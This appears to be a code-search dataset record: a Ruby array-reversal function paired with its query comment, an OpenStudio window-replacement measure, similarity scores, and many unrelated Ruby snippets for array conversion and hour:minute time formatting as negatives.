"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n construction_to_replace = runner.getOptionalWorkspaceObjectChoiceValue(\"construction_to_replace\",user_arguments,model)\n new_construction = runner.getOptionalWorkspaceObjectChoiceValue(\"new_construction\",user_arguments,model)\n material_cost_per_area_ip = runner.getDoubleArgumentValue(\"material_cost_per_area_ip\",user_arguments)\n\n #check to make sure the construction to replace is still in the model\n if construction_to_replace.empty?\n handle = runner.getStringArgumentValue(\"construction_to_replace\",user_arguments)\n if handle.empty?\n runner.registerError(\"No construction was chosen.\")\n else\n runner.registerError(\"The selected construction was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not construction_to_replace.get.to_Construction.empty?\n construction_to_replace = construction_to_replace.get.to_Construction.get\n else\n runner.registerError(\"Script Error - argument not showing up as construction.\")\n return false\n end\n end\n\n #check to make sure the new construction is still in the model\n if new_construction.empty?\n handle = runner.getStringArgumentValue(\"new_construction\",user_arguments)\n if handle.empty?\n runner.registerError(\"No construction was chosen.\")\n else\n runner.registerError(\"The selected construction was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not new_construction.get.to_Construction.empty?\n new_construction = new_construction.get.to_Construction.get\n else\n runner.registerError(\"Script Error - argument not showing up as construction.\")\n return false\n end\n end\n\n #convert material cost to si for future use\n material_cost_per_area_si = OpenStudio::convert(material_cost_per_area_ip,\"1/ft^2\",\"1/m^2\").get\n \n #copy the new construction\n #the copy will be assigned to the replacement\n #in case this construction was already used elsewhere in the model\n replacement_construction = new_construction.clone(model).to_Construction.get\n replacement_construction.setName(\"Copy of #{new_construction.name.get}\")\n #add a cost to the replacement construction\n cost_for_replacing_windows = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"Cost for replacing #{construction_to_replace.name.get} with #{replacement_construction.name.get}\",\n replacement_construction,\n material_cost_per_area_si,\n \"CostPerArea\",\n \"Construction\",\n 25,\n 0).get\n \n #short def to make numbers pretty (converts 4125001.25641 to 4,125,001.26 or 4,125,001). \n #this method is used through the measure\n def neat_numbers(number, roundto = 2) #round to 0 or 2)\n if roundto == 2\n number = sprintf \"%.2f\", number\n else\n number = number.round\n end\n #regex to add commas\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n end #end def neat_numbers\n \n #find all exterior windows that use the original construction and\n #replace with the replacement construction\n area_of_windows_replaced_si = 0\n model.getSubSurfaces.each do |sub_surface|\n if sub_surface.outsideBoundaryCondition == \"Outdoors\" and (sub_surface.subSurfaceType == \"FixedWindow\" or sub_surface.subSurfaceType == \"OperableWindow\")\n if sub_surface.construction.is_initialized\n if sub_surface.construction.get == construction_to_replace\n sub_surface.setConstruction(replacement_construction)\n area_of_windows_replaced_si += sub_surface.netArea\n end \n end\n end\n end\n\n #this measure is not applicable if there are no exterior windows that used\n #the selected construction\n if area_of_windows_replaced_si == 0\n runner.registerAsNotApplicable(\"Not Applicable - Model does not have any exterior windows that use the construction #{construction_to_replace.name.get}.\")\n return true\n end\n\n #double-check that the impacted area is the same as what OS calculates automatically\n if area_of_windows_replaced_si != replacement_construction.getNetArea\n runner.registerError(\"OS calculated #{replacement_construction.getNetArea}m^2 of the new construction used; the measure calculated #{area_of_windows_replaced_si}m^2. Something is wrong.\")\n return false\n end\n \n #convert affected area to ft^2 for reporting\n area_of_windows_replaced_ip = OpenStudio::convert(area_of_windows_replaced_si,\"m^2\",\"ft^2\").get\n \n #report the initial condition\n runner.registerInitialCondition(\"The building has #{neat_numbers(area_of_windows_replaced_ip,0)}ft^2 of #{construction_to_replace.name.get} exterior windows.\")\n\n #report the final condition\n total_cost = material_cost_per_area_ip * area_of_windows_replaced_ip\n runner.registerFinalCondition(\"#{neat_numbers(area_of_windows_replaced_ip,0)}ft^2 of these windows have been replaced with #{new_construction.name.get} windows. This was done at a cost of $#{neat_numbers(material_cost_per_area_ip,0)}/ft^2, for a total cost of $#{neat_numbers(total_cost,0)}.\")\n \n return true\n\n end"
] |
[
"0.59835935",
"0.59361476",
"0.58880985",
"0.58620656",
"0.57810533",
"0.57810533",
"0.57759297",
"0.56767803",
"0.56474423",
"0.5628783",
"0.5627273",
"0.5621204",
"0.56188095",
"0.55861264",
"0.5567494",
"0.55378795",
"0.5525232",
"0.55142766",
"0.54967266",
"0.54824024",
"0.5418519",
"0.54170066",
"0.5410104",
"0.5371102",
"0.5367791",
"0.53065705",
"0.53046185",
"0.52944976",
"0.52748215",
"0.5268921",
"0.52685285",
"0.5260598",
"0.52534074",
"0.52453953",
"0.5239486",
"0.5233217",
"0.5229345",
"0.5221689",
"0.52211887",
"0.52164257",
"0.5208854",
"0.51944727",
"0.5194409",
"0.518627",
"0.5181518",
"0.51668715",
"0.5155222",
"0.5154104",
"0.515071",
"0.51486284",
"0.5147305",
"0.51421696",
"0.5140813",
"0.51403457",
"0.5124458",
"0.51239043",
"0.5117389",
"0.5116115",
"0.5113534",
"0.5113407",
"0.5105631",
"0.51038843",
"0.51002675",
"0.50998765",
"0.5099678",
"0.5096262",
"0.50941694",
"0.5092246",
"0.5087998",
"0.50871825",
"0.50866073",
"0.50851107",
"0.5084641",
"0.5082749",
"0.5077815",
"0.5077034",
"0.50699246",
"0.50671214",
"0.50618076",
"0.5048859",
"0.50453997",
"0.5041439",
"0.5040844",
"0.50286806",
"0.50285506",
"0.50284517",
"0.50272375",
"0.502432",
"0.5022835",
"0.50060153",
"0.50055593",
"0.50040674",
"0.49989736",
"0.49977127",
"0.4992785",
"0.49877295",
"0.49854076",
"0.4984019",
"0.49793375",
"0.49769372"
] |
0.7015244
|
0
|
The return value should be the same Array object
|
def reverse!(arr)
(arr.length/2).times do |index|
reverse_index = (index + 1) * -1
arr[index], arr[reverse_index] = arr[reverse_index], arr[index]
end
arr
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def array\n raise \"Not implemented\"\n end",
"def array\n @array\n end",
"def to_a; Array(force) end",
"def get_items\r\n @arr.to_a\r\n end",
"def array()\n\t\t@array\n\tend",
"def to_a\n @arr\n end",
"def array\n @@array\n end",
"def to_a; [Array]; end",
"def to_a\n Array.wrap(self)\n end",
"def converted_arrays; end",
"def to_a\n array\n end",
"def returns_array?\n true\n end",
"def __array__; self; end",
"def Array(p0) end",
"def to_a\n super.map{|v| Array === v ? v.to_a : v}\n end",
"def returns_array?\n true\n end",
"def to_a; [self] end",
"def to_a; [self] end",
"def returns_array?\n false\n end",
"def returns_array?\n false\n end",
"def as_array\n @fm.dup\n end",
"def to_a\n [self]\n end",
"def to_a; [self]; end",
"def returns_array?\n false\n end",
"def to_a\n [ self ]\n end",
"def array\n\t\t#create an array of\n\t\tarray = [0, 1, 2, 3, 4, 5, 6, 7, 8]\n\tend",
"def to_a\n each.force\n end",
"def to_a\n [self]\n end",
"def to_ary\n\t []\n\tend",
"def to_ary\n self.map{|result| result}\n end",
"def to_ary\n self.to_a\n end",
"def to_flex_array\n self\n end",
"def double_array(array)\n # your code here\nend",
"def to_a\n each.to_a\n end",
"def to_a\n each.to_a\n end",
"def another; return []; end",
"def to_a; []; end",
"def to_a\n to_ary.dup\n end",
"def to_a\n [ self ]\n end",
"def to_a\n Array(each)\n end",
"def to_ary\n [ self ]\n end",
"def to_ary; self.to_a; end",
"def to_a\n to_ary.dup\n end",
"def ret_array(_array, _ret, _id)\n if !_ret.nil?\n _ret.each do |_r|\n _array = _array << _r.read_attribute(_id) unless _array.include? _r.read_attribute(_id)\n end\n end\n end",
"def ret_array(_array, _ret, _id)\n if !_ret.nil?\n _ret.each do |_r|\n _array = _array << _r.read_attribute(_id) unless _array.include? _r.read_attribute(_id)\n end\n end\n end",
"def ret_array(_array, _ret, _id)\n if !_ret.nil?\n _ret.each do |_r|\n _array = _array << _r.read_attribute(_id) unless _array.include? _r.read_attribute(_id)\n end\n end\n end",
"def ret_array(_array, _ret, _id)\n if !_ret.nil?\n _ret.each do |_r|\n _array = _array << _r.read_attribute(_id) unless _array.include? _r.read_attribute(_id)\n end\n end\n end",
"def to_ary\n to_a\n end",
"def to_ary\n to_a\n end",
"def to_a\n [self]\n end",
"def to_a\n [self]\n end",
"def to_a\n array = all\n array.each_with_index do |value, i|\n array[i] = value.to_a if value.is_a?(RedisArray)\n end\n end",
"def to_ary; []; end",
"def to_ary\n self.to_a\n end",
"def to_a\n result = []\n self.each do |item|\n result << item\n end\n return result\n end",
"def to_ary()\n return nil;\n end",
"def to_a\n [self]\n end",
"def to_a()\n end",
"def to_a\n @result\n end",
"def to_a\n @result\n end",
"def to_array\n array = []\n self.each { |x| array.push x }\n return array\n end",
"def to_ary\n end",
"def to_a\n end",
"def to_a\n end",
"def to_a\n end",
"def to_a\n end",
"def to_ary\n\t\t\treturn @elements.to_ary\n\t\tend",
"def to_ary\n\t\t@data.flatten\n\tend",
"def to_a\n end",
"def to_a\n end",
"def to_a\n end",
"def to_a \n return @data\n end",
"def get_array\n\t\tsynchronize do\n\t\t\t@condition.wait_until{@array.size > 0}\n\t\t\ta = @array\n\t\t\t@array = []\n\t\t\treturn a\n\t\tend\n\tend",
"def to_ary() end",
"def array\n self.allObjects\n end",
"def to_a; end",
"def to_a; end",
"def to_a; end",
"def to_a; end",
"def to_a; end",
"def to_a; end",
"def to_a; end",
"def to_a; end",
"def to_ary\n each.to_a\n end",
"def calls_array\n a = return_array\n a[1]\n end",
"def to_a ; data.dup ;end",
"def arrayed(object) # :doc:\n (object.is_a?(Array) ? object : [object])\n end",
"def get_items\n\t\t@arr\n\tend",
"def to_a\n x = []\n self.each do |it|\n x << it\n end\n x\n end",
"def copy_and_return(result_or_array)\r\n if result_or_array.nil?\r\n nil\r\n elsif result_or_array.is_a?(Array)\r\n result_or_array.map {|r| copy_and_return(r) }\r\n else\r\n result_or_array.clone\r\n end\r\n end",
"def to_a\n @elements.dup\n end",
"def _array(obj)\n obj.map { |v| _renc(v) }\n end",
"def to_ary; nil; end",
"def to_a\n\t\tarr = []\n\t\teach {|valor| arr << valor}\n\t\tarr\n\tend",
"def double_array(array)\n array + array\nend",
"def to_ary\n nil\n end",
"def to_array(value)\n value.class == Array ? value : [value]\n end",
"def to_a\n return [] unless head\n head.to_a\n end",
"def to_a\n return [] unless head\n head.to_a\n end",
"def to_ary \n\t\t\treturn @elem.to_ary\n\t\tend",
"def to_a\n to_array(@version)\n end"
] |
[
"0.7645756",
"0.7599514",
"0.75716114",
"0.75341016",
"0.7507874",
"0.74518794",
"0.7431948",
"0.7399464",
"0.7382109",
"0.73289883",
"0.73252046",
"0.7265848",
"0.72507924",
"0.72284776",
"0.7178822",
"0.7127985",
"0.7096249",
"0.7096249",
"0.7070436",
"0.7070436",
"0.69341946",
"0.6917191",
"0.69144905",
"0.6911255",
"0.6893823",
"0.6886276",
"0.6884493",
"0.6879829",
"0.6863683",
"0.6860184",
"0.68439555",
"0.6843525",
"0.68385595",
"0.6835133",
"0.6835133",
"0.68305844",
"0.6816548",
"0.6808974",
"0.679774",
"0.6791982",
"0.6785303",
"0.67534125",
"0.67449546",
"0.6743922",
"0.6743922",
"0.6743922",
"0.6743922",
"0.67418593",
"0.67418593",
"0.6737258",
"0.6737258",
"0.6729531",
"0.67293966",
"0.67201287",
"0.6707441",
"0.67053056",
"0.670493",
"0.6700633",
"0.66884565",
"0.66884565",
"0.6678805",
"0.6677825",
"0.66766393",
"0.66766393",
"0.66766393",
"0.66766393",
"0.66690683",
"0.6666851",
"0.66552854",
"0.66552854",
"0.66552854",
"0.6644606",
"0.6625515",
"0.66254944",
"0.6617414",
"0.66150826",
"0.66150826",
"0.66150826",
"0.66150826",
"0.66150826",
"0.66150826",
"0.66150826",
"0.66150826",
"0.66035575",
"0.6601962",
"0.6600491",
"0.65982866",
"0.6597489",
"0.6591445",
"0.65717846",
"0.656914",
"0.6561731",
"0.65604424",
"0.65512073",
"0.65487427",
"0.6548473",
"0.65330225",
"0.65214807",
"0.65214807",
"0.65124846",
"0.6497467"
] |
0.0
|
-1
|
string that formats the number into `hours:minutes`.
|
def time_conversion(minutes)
hr = 0
min = 0
while minutes >= 0
if minutes >= 60
minutes = minutes - 60
hr = hr + 1
elsif minutes < 10
min = 0.to_s + minutes.to_s
return hr.to_s + ':' + min.to_s
else
min = minutes
return hr.to_s + ':' + min.to_s
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_s\n '%02d:%02d' % [(@hours % 24), @minutes]\n end",
"def to_s\n \"#{hour.to_s.rjust(2, '0')}:#{minute.to_s.rjust(2, '0')}\"\n end",
"def time_string\n\n\t\thours = @seconds/3600 #if not an hour will be stored as 0\n\t\tremainder = @seconds%3600 #modulo gives the amount that remains\n\t\tsprintf(\"%02d:%02d:%02d\", hours, remainder/60, remainder%60) #string formatting\n\t\t\n\tend",
"def to_s\n format('%<hours>02dh%<minutes>02dm', hours: @hours, minutes: @minutes)\n end",
"def time_string\n hours = @seconds / 3600\n minutes = (@seconds % 3600) / 60\n secs = (@seconds % 3600) % 60\n \n sprintf(\"%02d:%02d:%02d\", hours, minutes, secs)\n end",
"def to_s\n\t\ts, m = @sec % 60, @sec / 60\n\t\th = m / 60\n\t\tm = m % 60\n\t\treturn (\"%02d:%02d:%02d\" % [h, m, s])\n\tend",
"def to_s\n \"%02d:%02d:%02d\" % [@hour, @minute, @second]\n end",
"def timeConvert(num)\n\t\n\treturn \"#{num/60}:#{num%60}\"\nend",
"def time_string()\n #Get numerical representations for each value\n @hours = seconds / 60 / 60\n @minutes = (seconds / 60) % 60\n @seconds = seconds % 60\n\n #Convert the values to properly formatted strings\n @hours = padded(@hours)\n @minutes = padded(@minutes)\n @seconds = padded(@seconds)\n \n #return the string\n @hours + ':' + @minutes + ':' + @seconds\n end",
"def to_s\n s = @display.strftime(time_format)\n case @display_granularity\n when :ten_minute\n s.chop!\n s << \"~\"\n when :one_hour\n s.chop!\n s.chop!\n s << \"~~\"\n end\n return s\n end",
"def time_conversion(minutes)\n hours = minutes / 60\n remaining_minutes = minutes % 60\n \"%s:%02d\" % [hours, remaining_minutes]\nend",
"def time_conversion(mins)\n hour = mins/60\n min = mins.modulo(60)\n return '%02d:%02d' %[hour,min]\nend",
"def separated_time_string(seconds, separator)\n secs = seconds % 60\n mins = seconds / 60 % 60\n hours = seconds / 60 / 60 \n time_string = sprintf(\"%02d#{separator}%02d#{separator}%02d\", hours, mins, secs)\n end",
"def format_time_from_hour hour\n hrs = hour.to_i\n min = ((hour - hrs) * 60.0 + 0.5).to_i\n \"%2d:%02d\" % [hrs, min]\n end",
"def formatted_duration\n hours = self.duration / 60\n minutes = self.duration % 60\n if minutes == 0\n \"#{hours}h\"\n else\n \"#{hours}h#{minutes}min\"\n end\n end",
"def TimeConvert(num)\n\thour = num / 60\n\tmin = num % 60\n\treturn \"#{hour}:#{min}\"\nend",
"def tt(time, format=:short); '13:37'; end",
"def to_s\n \"%02d:%02d:%02d:%02d\" % _nudge\n end",
"def format_duration\n if duration % 60 != 0\n \"#{duration/60} hours #{duration%60} minutes\"\n else\n \"#{duration/60} hours\"\n end\n end",
"def time_string(time)\n h = time/3600.to_i # heure\n m = time/60.to_i-h*60 # minute\n s = time - h * 3600 - m * 60 # seconde\n h=pres(h)\n m=pres(m)\n s=pres(s)\n return [h,m,s].join(\":\")\n end",
"def parse_time(number)\n # Disregard date part\n number -= number.truncate if number.positive?\n\n base = number * 24\n\n hours = base.truncate\n minutes = ((base - hours) * 60).round\n\n # Compensate for rounding errors\n if minutes >= 60\n hours += (minutes / 60)\n minutes = minutes % 60\n end\n\n format(\"%02d:%02d\", hours, minutes)\n end",
"def format_time_h_mm(time_string)\n\t\tresult = ''\n\t\ttime_duration = Time.at(time_string).utc\n\n\t\t#format hours\n\t\tif time_duration.hour > 0\n \t\t\tresult << time_duration.strftime('%k hour')\n \t\t\tif time_duration.hour > 1\n\t\t\t\tresult << 's'\n\t\t\tend\n\t\t\tresult << ', '\n \t\tend\n\n \t\t#format minutes\n \t\tif time_duration.min > 0\n \t\t\tresult << time_duration.strftime('%M minute')\n\t \t\tif time_duration.min > 1\n\t\t\t\tresult << 's'\n\t \t\tend\n \t\tend\n\tend",
"def format_time\n hours = format_hour @hour\n minutes = format_minute @minutes\n ampm = @hour < 12 ? @@ampm_hash['a'] : @@ampm_hash['p']\n time = ''\n time += hours[0] + minutes[0] + ' ' + ampm[0] + \"\\n\"\n time += hours[1] + minutes[1] + ' ' + ampm[1] + \"\\n\"\n time += hours[2] + minutes[2] + ' ' + ampm[2] + \"\\n\"\n time\n end",
"def to_name\n \"#{sprintf(\"%02d\", hour)}_#{sprintf(\"%02d\", min)}_#{sprintf(\"%02d\", sec)}\"\n end",
"def TimeConvert(num)\n hours = num/60\n minutes = num % 60\n \"#{hours}:#{minutes}\"\nend",
"def format\n puts \"-\" * 60\n end",
"def format_hour_minute(hour_minute)\n hour_minute.lstrip.rstrip.rjust(2,'0') \n end",
"def time_conversion(mins)\r\n\r\n [mins /60, mins %60].map {|t| t.to_s.rjust(2, '0')}.join(':')\r\nend",
"def time_conversion(minutes)\n\thours = minutes / 60\n\tmin = minutes % 60\n\t\tif min < 10\n\t\t\tmin_new = \"0\" + min.to_s\n\t\t\treturn \"#{hours}:#{min_new}\"\n\t\tend\n\tp \"#{hours}:#{min}\"\nend",
"def format_time(time_in_seconds)\n min, sec = time_in_seconds.divmod(60)\n hrs, min = min.divmod(60)\n \"#{format(\"%02d\",hrs)}:#{format(\"%02d\",min)}:#{format(\"%02d\",sec.round)}\"\n end",
"def format_time(time_in_seconds)\n min, sec = time_in_seconds.divmod(60)\n hrs, min = min.divmod(60)\n \"#{format(\"%02d\",hrs)}:#{format(\"%02d\",min)}:#{format(\"%02d\",sec.round)}\"\n end",
"def h # human\n \"%02d:%02d:%02d\" % [total/3600%24, total/60%60, total%60]\n end",
"def TimeConvert(num)\n\n hours = num / 60\n minutes = num - hours * 60\n return \"#{hours}:#{minutes}\"\n \nend",
"def as_hours hours\n minutes = hours.to_f * 60.0\n sprintf \"%d:%02d\", (minutes / 60).to_i, (minutes % 60).to_i\n end",
"def TimeConvert(num)\n hours = num / 60\n minutes = num % 60\n \n \"#{hours}:#{minutes}\"\nend",
"def time_conversion(minutes)\n hours, minutes = minutes.divmod(60)\n minutes = ('0' + minutes.to_s)[-2, 2]\n \"#{hours}:#{minutes}\"\nend",
"def to_s\n if @am_pm\n display = @current.strftime(\"%I:%M\")\n else\n display = @current.strftime(\"%H:%M\")\n end\n @fuzz.times { display.sub!(/\\d(\\D*)$/, '~\\1') } if @fuzz > 0\n display\n end",
"def time_string(time)\n\th = time/3600.to_i\t\t# Heures\n\tm = time/60.to_i-h*60\t\t# Minutes\n\ts = time - h*3600 - m*60\t# Secondes\n\th=pres(h)\n\tm=pres(m)\n\ts=pres(s)\n\treturn [h,m,s].join(\":\")\nend",
"def time_convert(num)\n hr, min = num.divmod(60)\n \"#{hr}:#{min}\"\nend",
"def time_string\r\n clock = @seconds.divmod(60)\r\n if clock[0] > 59\r\n \tb = clock[1]\r\n a = clock[0].divmod(60)\r\n clock = a.push(b)\r\n else\r\n clock.unshift(0)\r\n end\r\nclock.map! do |final|\r\n if final < 10\r\n \"0\" + final.to_s\r\n else\r\n final \r\n end\r\nend\r\n clock.join(\":\")\t\r\nend",
"def format_minutes_as_hrs_mins(minutes)\n hours = minutes / 60\n remainder_minutes = minutes % 60\n remainder_minutes == 0 ? \"#{hours}hrs\" : \"#{hours}hrs #{remainder_minutes}mins\"\n end",
"def to_s\n if year == 0 and mon == 0 and day == 0\n h = neg ? hour * -1 : hour\n sprintf \"%02d:%02d:%02d\", h, min, sec\n else\n sprintf \"%04d-%02d-%02d %02d:%02d:%02d\", year, mon, day, hour, min, sec\n end\n end",
"def timestr(subsec = true)\n if(subsec)\n \"%02d:%02d:%06.3f\" % [ getHour(nil).to_i,\n getMin().to_i,\n getSec().to_f ] ;\n else\n \"%02d:%02d:%02d\" % [ getHour(nil).to_i,\n getMin().to_i,\n getSec().to_i ] ;\n end\n\n end",
"def display_duration_minutes\n if duration_minutes >= 60\n hour_value = duration_minutes / 60\n minutes_value = duration_minutes.remainder(60)\n\n return \"#{hour_value} #{'hour'.pluralize(hour_value)}\" if minutes_value.zero?\n\n \"#{hour_value} #{'hour'.pluralize(hour_value)} #{duration_minutes.remainder(60)} minutes\"\n else\n \"#{duration_minutes} minutes\"\n end\n end",
"def TimeConvert(num)\n\nhour= num.div(60)\n min=num.remainder(60)\n \n return \"#{hour}\" + \":\" + \"#{min}\"\n \nend",
"def format_time(seconds)\n if seconds < 60\n sprintf \"%ds\", seconds\n elsif seconds < 60 * 60\n sprintf \"%dm:%02ds\", seconds / 60, seconds % 60\n else\n sprintf \"%dh:%02dm\", seconds / (60 * 60), seconds % (60 * 60) / 60\n end\nend",
"def humanize(seconds)\n seconds = seconds.to_i\n hours, mins, secs = seconds / 1.hour, (seconds % 1.hour) / 1.minute, seconds%60\n sprintf(\"%3d:%02d:%02d\", hours, mins, secs)\n end",
"def print_time(nbr_secs)\n secs = nbr_secs.to_i\n mins = secs / 60\n hours = mins / 60\n return \"#{hours}:#{sprintf('%.2d',mins % 60)}:#{sprintf('%.2d',secs % 60)}\"\n end",
"def TimeConvert(num)\n\n # code goes here\n return (num/60).to_s + \":\" + (num%60).to_s\n \nend",
"def pretty_runtime\n return nil if total_time.nil?\n t = total_time / 1000\n minutes = t / 60\n seconds = t - 60 * minutes\n sprintf '%d:%02d', minutes, seconds\n end",
"def get_formatted_hour\n start_on.strftime(\"%H:%M\")\n end",
"def time_conversion(minutes)\n if minutes / 60 == 0\n if minutes < 10 \n return \"00:0#{minutes}\"\n \n else\n return \"00:#{minutes}\"\n end\n else\n hours = minutes / 60\n minutes2 = minutes % 60\n if minutes2 == 0\n return \"0#{hours}:00\"\n else\n return \"0#{hours}:#{minutes2}\"\n end\n end\nend",
"def time_conversion(minutes)\n hours = 0\n if minutes < 10\n minutes = \"0\" + minutes.to_s\n elsif minutes % 60 == 0 \n hours = minutes / 60\n minutes = \"00\"\n else\n hours = minutes / 60\n minutes = minutes % 60\n end\n return hours.to_s + \":\" + minutes.to_s\nend",
"def interval_as_time_string\n hms = interval_as_hours_minutes_seconds\n hms.shift if hms.first == 0\n #make sure seconds column is zero-padded and, if there are\n #hours, do the same to the minutes column\n (1 - hms.count .. -1).each{|i| hms[i] = hms[i].to_s.rjust(2, '0') }\n hms.join(\":\")\n end",
"def time_conversion(minutes)\n hours = 0\n\n while minutes >= 60\n hours = hours + 1\n minutes = minutes - 60\n end \n \n if minutes < 10\n minutes_string = \"0\" + minutes.to_s \n else \n minutes_string = minutes.to_s\n end\n \n return hours.to_s + \":\" + minutes_string\n \nend",
"def time_format(seconds)\nend",
"def time_format(seconds)\nend",
"def time_cap\n return nil if time_cap_seconds.nil?\n\n duration = ActiveSupport::Duration.build(time_cap_seconds).parts\n format '%<minutes>02d:%<seconds>02d', minutes: duration.fetch(:minutes, 0), seconds: duration.fetch(:seconds, 0)\n end",
"def time_str\n Time.at(time[0..-4].to_f + time[-3..-1].to_f / 1000)\n .strftime(\"%M:%S.%L\")\n end",
"def humanize_time(seconds)\n\tminutes = seconds / 60\n \t[[60, :m], [24, :h], [100000, :d]].map{ |count, name|\n if minutes > 0\n minutes, n = minutes.divmod(count)\n \"#{n.to_i}#{name}\"\n end\n }.compact.reverse.join('')\nend",
"def time_convert (num)\n hour = (num/60).to_s\n min = (num % 60).to_s\n puts hour + \":\"+ min\nend",
"def to_s\n hours = @hours.to_s\n minutes = @minutes.to_s\n seconds = @seconds.to_s\n millis = @millis.to_s\n if @hours < 10\n hours = '0' + hours\n end\n if @minutes < 10\n minutes = '0' + minutes\n end\n if @seconds < 10\n seconds = '0' + seconds\n end\n if @millis < 10\n millis = '00' + millis\n else\n if @millis < 100\n millis = '0' + millis\n end\n end\n hours + ':' + minutes + ':' + seconds + ',' + millis\n end",
"def format_start(start_time)\n start_time.strftime('%H:%M')\n end",
"def time\n result = veeamconfig('schedule', 'show', '--jobId', get_job_id).lines\n # get the time\n t = result[1].strip.split(': ')[1]\n # split hours and minutes (will use these to pad first)\n bits = t.split(':')\n # pad both the hour and the minute with a zero if needed\n bits[0] = \"%02d\" % bits[0]\n bits[1] = \"%02d\" % bits[1]\n\n # return the joined value (HH:MM)\n bits.join(':')\n end",
"def time\n a=[1, 1000, 60000, 3600000]*2\n ms = duration\n \"%02d\" % (ms / a[3]).to_s << \":\" << \n \"%02d\" % (ms % a[3] / a[2]).to_s << \":\" << \n \"%02d\" % (ms % a[2] / a[1]).to_s #<< \".\" << \n #\"%03d\" % (ms % a[1]).to_s\n end",
"def vtt_string\n format('%02d:%02d:%02d.%03d', @hours, @minutes, @seconds, @milliseconds)\n end",
"def to_s\n sub_sec = @nano_seconds.to_f / (10**9)\n sub_sec_str = sub_sec.to_s.gsub('0.', '')\n \"#{@hours}:#{@minutes}:#{@seconds}.#{sub_sec_str}\"\n end",
"def formatted_hours\n as_hours hours\n end",
"def formatted_hours\n as_hours hours\n end",
"def format_time(time)\n return time.strftime(\"%l:%M%p\")\n end",
"def to_formatted_time(int_bound)\n hour = (int_bound / 100).to_s.rjust(2, ZERO)\n min = (int_bound % 100).to_s.rjust(2, ZERO)\n\n \"#{hour}:#{min}\"\n end",
"def to_time_string(seconds) \n\tmin = (seconds / 60).floor.to_s\n\tsec = (seconds % 60).round(3).to_s\n\ttime_string = \"#{min}:#{sec.match(/^\\d\\./) == nil ? sec : \"0\" + sec }\"\n\t#conditional string formating to add zero 'padding' if needed\nend",
"def time_conversion2(minutes)\n hours = 0\n\n while minutes >= 60 # keep substracting 60 untill leaving just minutes less than 60\n hours += 1\n minutes -= 60\n end\n\n if minutes < 10 # less than two digit minutes\n minutes_s = \"0\" + minutes.to_s\n else # more than 10\n minutes_s = minutes.to_s\n end\n\n return hours.to_s + \":\" + minutes_s\nend",
"def to_postgres_string\n min_string = minutes.to_s\n sec_string = seconds.to_s\n \n min_string = \"0\" + min_string if minutes.to_s.length < 2\n sec_string = \"0\" + sec_string if seconds.to_s.length < 2\n \n return hours.to_s+\":\"+min_string+\":\"+sec_string\n end",
"def to_s\n \"%d %02d:%02d:%08.5f\" % [@days, @hours.abs, @minutes.abs, @seconds.abs]\n end",
"def format_time(time)\n first_colon = time.index(':')\n if first_colon.nil? \n #if it's not a time\n return time\n end\n second_colon = time.index(':', first_colon + 1)\n result = time[0, first_colon]\n if result.length < 2\n result = \"0#{result}\"\n end\n if second_colon.nil?\n second_colon = time.length\n end\n result += time[first_colon, second_colon - first_colon]\n return result\nend",
"def time_of_day(integer)\n number, remainder = integer.divmod(1440)\n total_minutes = remainder\n\n number, remainder = remainder.divmod(60)\n final_hours = number\n final_minutes = remainder\n\n if final_hours < 10 && final_minutes < 10\n final_hours = \"#{'0'}#{final_hours}\"\n final_minutes = \"#{'0'}#{final_minutes}\"\n final_string = \"#{final_hours}:#{final_minutes}\" \n elsif final_hours < 10 && final_minutes > 10\n final_hours = \"#{'0'}#{final_hours}\"\n final_string = \"#{final_hours}:#{final_minutes}\" \n elsif final_hours > 10 && final_minutes < 10\n final_minutes = \"#{'0'}#{final_minutes}\"\n final_string = \"#{final_hours}:#{final_minutes}\" \n else\n final_string = \"#{final_hours}:#{final_minutes}\" \n end \n\n final_string\nend",
"def to_dot_time(time)\r\n time = time.to_i\r\n hours = time/3600.to_i\r\n minutes = (time/60 - hours * 60).to_i\r\n seconds = (time - (minutes * 60 + hours * 3600))\r\n # [hours, minutes, seconds].join(\":\")\r\n [format('%02d', hours),format('%02d', minutes) , format('%02d', seconds)].join(\":\")\r\n end",
"def format_seconds value\n '%02d:%02d:%02d' % [(value/3600).floor,((value/60)%60).floor,(value%60)]\n end",
"def format_hour(hour)\n first, second = hour.divmod(10)\n first_digit_arr = @@number_strs[first]\n second_digit_arr = @@number_strs[second]\n [\n first_digit_arr[0] + second_digit_arr[0] + ' ',\n first_digit_arr[1] + second_digit_arr[1] + '.',\n first_digit_arr[2] + second_digit_arr[2] + '.'\n ]\n end",
"def format_seconds_duration(seconds)\n return '' if seconds.nil?\n hrs = (seconds.to_i/3600)\n mins = (seconds.to_i/60) % 60\n secs = seconds - hrs*3600 - mins* 60\n (hrs > 0 ? ('%2d' % hrs) + ':' : '' ) + sprintf(\"%02d:%02d\", mins, secs) \n end",
"def formatted_pickup_time\n\t\tstart_ampm = 'am'\n\t\tend_ampm = 'am'\n\t\tt = ''\n\t\tif (pickup_start_hour > 12) then\n\t\t\tt += (pickup_start_hour - 12).to_s\n\t\t\tstart_ampm = 'pm'\n\t\telse\n\t\t\tt += pickup_start_hour.to_s\n\t\tend\n\t\tif (pickup_end_hour > 12) then\n\t\t\tend_ampm = 'pm'\n\t\tend\n\t\tif pickup_start_minute != 0 then\n\t\t\tt += ':' + pickup_start_minute.to_s\n\t\tend\n\t\tif start_ampm === 'am' and end_ampm === 'pm' then\n\t\t\tt += 'am'\n\t\tend\n\t\tt += '-'\n\t\tif pickup_end_hour > 12 then\n\t\t\tt += (pickup_end_hour - 12).to_s\n\t\telse\n\t\t\tt += pickup_end_hour.to_s\n\t\tend\n\t\tif pickup_end_minute != 0 then\n\t\t\tt += ':' + pickup_end_minute.to_s\n\t\tend\n\t\tt += end_ampm\n\t\tt\n\tend",
